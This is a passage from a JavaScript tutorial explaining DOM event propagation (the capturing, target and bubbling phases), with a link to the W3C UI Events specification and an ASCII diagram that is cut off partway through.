// "Parent clicked!" — Wait, I only clicked the button!
```
This happens because of **event bubbling** — one of the three phases every DOM event goes through.
**What you'll learn in this guide:**
- The three phases of event propagation (capturing, target, bubbling)
- Why events "bubble up" to parent elements
- How to listen during the capturing phase with `addEventListener`
- The difference between `stopPropagation()` and `stopImmediatePropagation()`
- Which events don't bubble and their alternatives
- When capturing is actually useful (it's rare, but important)
- Common mistakes that break event handling
**Prerequisite:** This guide assumes you're comfortable with basic [DOM manipulation](/concepts/dom) and event listeners. If `addEventListener` is new to you, read that guide first!
---
## What is Event Propagation?
**Event propagation** is the process by which an event travels through the DOM tree when triggered on an element. Instead of the event only affecting the element you clicked, it travels through the element's ancestors in a specific order, giving each one a chance to respond.
According to the [W3C UI Events specification](https://www.w3.org/TR/uievents/#event-flow), every DOM event goes through **three phases**:
1. **Capturing phase** — The event travels DOWN from `window` to the target element
2. **Target phase** — The event arrives at the element that triggered it
3. **Bubbling phase** — The event travels UP from the target back to `window`
```
┌─────────────────────────────────────────────────────────────────────────┐
│ THE THREE PHASES OF EVENT PROPAGATION │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ PHASE 1: CAPTURING PHASE 3: BUBBLING │
│ (Top → Down) (Bottom → Up) │
│ │
│ window window │
│ ↓ ↑ │
│ document document │
│ ↓ ↑ │
│ │
│ ↓ ↑ │
│ │
│ ↓ ↑ │
│